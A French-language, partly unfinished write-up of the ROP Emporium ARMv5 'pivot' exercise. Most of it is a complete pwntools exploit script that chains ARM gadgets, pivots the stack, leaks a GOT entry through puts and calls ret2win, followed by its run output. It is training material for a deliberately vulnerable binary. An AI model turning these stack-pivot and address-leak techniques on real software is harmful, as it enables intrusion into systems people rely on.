Contents

Ropemporium ARMv5 pivot

armv5 pivot

Introduction

Dans cet exercice, la taille lue et donc disponible pour une exploitation est réduite.

L’énoncé ropemporium : pivot

Découverte

Le contenu du challenge

-rw-r--r-- 1 root root    33 Jul 15  2020 flag.txt
-rwxr-xr-x 1 root root  8336 Jul 19  2021 libpivot_armv5-hf.so
-rwxr-xr-x 1 root root  8320 Jul 16  2020 libpivot_armv5.so
-rwxr-xr-x 1 root root  8664 Jul 16  2020 pivot_armv5
-rwxr-xr-x 1 root root  8720 Jul 19  2021 pivot_armv5-hf

Comme pour les exercices précédents on a une version soft et hard du programme et de sa librairie.

Execution avec qemu

07_pivot$ qemu-arm pivot_armv5
pivot by ROP Emporium
ARMv5

Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x3fe45f08
Send a ROP chain now and it will land there
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!

Now please send your stack smash
> BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Erreur de segmentation

Le programme nous donne l’objectif : appeller ret2win située dans la librairie.

Il nous donne aussi une adresse memoire où on va pourvoir installer une chaine de ROP.

Ensuite deux messages sont demandés.

TBC …

Analyse

Le programme principal

La librairie libpivot_armv5.so

Exploitation

Le script python

Script de la version armv5 soft.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

# ropemporium ARMv5 soft pivot
# Solution leak puts et rappel pwnme

# Set up pwntools for the correct architecture
# 164 : read
# 148 : ret
gs='''
b *pwnme
b *pwnme+148
c
'''

#context.log_level='debug'
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]

elf = context.binary = ELF('pivot_armv5')

# References ELF du programme
main=elf.symbols['main']
useless_func=elf.symbols['uselessFunction']
got_foothold=elf.got['foothold_function']
plt_foothold=elf.plt['foothold_function']
puts=elf.symbols['puts']
pwnme=elf.symbols['pwnme']
data = elf.get_section_by_name('.data').header['sh_addr']

# References ELF de la librairie
libelf = ELF('libpivot_armv5.so')

lib_foothold = libelf.symbols['foothold_function']
lib_ret2win = libelf.symbols['ret2win']
off_ret2win=lib_ret2win-lib_foothold

# ----- Gadgets -----
# pop {r4, pc}
g_pop_r4 = 0x00010760

#  mov r5, r4 ; mov r4, sp ; mov sp, r5 ; pop {r4, fp, pc} |
g_mov_r45_mov_sp_r5 = 0x000108f0

# pop {r3, pc}; |
g_pop_r3 = 0x000105d4

#  mov r0, r3; sub sp, fp, #4; pop {fp, pc};
g_mov_r0r3 = 0x00010808

# 0x0001092c: blx r3;
g_blx_r3 = 0x0001092c

# 0x00010984 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
g_pop_r45678 = 0x00010984


# 0x00010810 : pop {fp, pc}
g_pop_fp = 0x00010810

# Mode thumb
# mov lr, r4; adds r3, r7, #0; bx r3;
g_mov_lrr4_bx_r3 = 0x0001091d

# START

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


# ETAPE 0 : lecture de l'adresse leak
io.recvuntil(b"to pivot:")
leak = io.recvline().rstrip()
leak = int(leak,16)
log.info(f"got_foothold   = 0x{got_foothold:x}")
log.info(f"leak           = 0x{leak:x}")
log.info(f"adr ret2win    = 0x{lib_ret2win:x}")
log.info(f"adr foothold   = 0x{lib_foothold:x}")
log.info(f"offset ret2win = 0x{off_ret2win:x}")


log.info("ETAPE 1 / message 1")
# ETAPE 1 - Message 1
# ROP chaine d'exploitation
PL=b''
PL+=p32(0)
PL+=p32(leak+4*14)        # pop fp; ajusté pour mov_r0r3 plus loin
PL+=p32(g_pop_r45678)
PL+=p32(g_pop_r3)         # r4 => lr
PL+=p32(5)                #
PL+=p32(6)                #
PL+=p32(plt_foothold)     # => r3
PL+=p32(8)                #
PL+=p32(9)                #
PL+=p32(10)               #
PL+=p32(g_mov_lrr4_bx_r3)

# Apppel de puts
# pop r0
PL+=p32(got_foothold)     # pour r3 puis r0
PL+=p32(g_mov_r0r3)       # mov r0, r3; sub sp, fp, #4; pop {fp, pc};
PL+=p32(leak+4*26)        # ajuste fp pour le prochain mov_r0r3
# entree 14
PL+=p32(g_pop_r45678)
PL+=p32(g_pop_r3)         # r4 => lr
PL+=p32(5)                #
PL+=p32(6)                #
PL+=p32(puts)             # => r3
PL+=p32(8)                #
PL+=p32(9)                #
PL+=p32(10)               #
PL+=p32(g_mov_lrr4_bx_r3)

PL+=p32(leak)                # pour pop r3

# pop r0
PL+=p32(g_mov_r0r3)
PL+=p32(11)                 # pour fp
# Entree 26
PL+=p32(pwnme)
PL+=p32(plt_foothold)

io.sendlineafter(b"> ",PL)

log.info("ETAPE 1 / pivot")
# ETAPE 1 - Message 2 : pivot
# Offset avant ecrasement de l'adresse de retour
offset=0x24

PL =b"A"*offset
PL+=p32(g_pop_r4)            # r4 <= leak
PL+=p32(leak)                #
PL+=p32(g_mov_r45_mov_sp_r5) # sp <=leak
io.sendlineafter(b"> ",PL)


# ETAPE INTERMEDIAIRE
# Le puts est effectué on lit l'adresse de foothold.
# Reception du leak puts
io.recvline()
io.recvline()
rep = io.recvline().rstrip()
info(rep.hex())
#leak=u32(rep[:4]+b"\x00\x00")
leak=u32(rep[:4])

# Calcule de l'adresse de ret2win
ret2win = leak+off_ret2win
exit_clean= leak+0x24
info(f"foothold leak = 0x{leak:x}")
info(f"ret2win       = 0x{ret2win:x}")

# ETAPE 2 - Message 1
# Recoit un LF precedent (?!)
# io.sendline(b"OK")

# ETAPE 2 - Message 2
# Envoi d'un bourrage de debordement
PL =b"A"*(offset)
PL+=p32(ret2win)
PL+=p32(exit_clean)
io.sendlineafter(b"> ",PL)

io.recvuntil(b"ROPE")
flag=io.recvline().decode()
log.success(f"flag : ROPE{flag}")
io.close()

Execution

[*] '/home/jce/w/ropemporium/armv5/07_pivot/pivot_armv5'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)
    RUNPATH:  b'.'
[*] '/home/jce/w/ropemporium/armv5/07_pivot/libpivot_armv5.so'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/jce/w/ropemporium/armv5/07_pivot/pivot_armv5': pid 38911
[*] got_foothold   = 0x2102c
[*] leak           = 0x3fe45f08
[*] adr ret2win    = 0x9c0
[*] adr foothold   = 0x834
[*] offset ret2win = 0x18c
[*] ETAPE 1 / message 1
[*] ETAPE 1 / pivot
[*] 3498fb3f5892ea3f
[*] foothold leak = 0x3ffb9834
[*] ret2win       = 0x3ffb99c0
[+] flag : ROPE{a_placeholder_32byte_flag!}
[*] Stopped process '/home/jce/w/ropemporium/armv5/07_pivot/pivot_armv5' (pid 38911)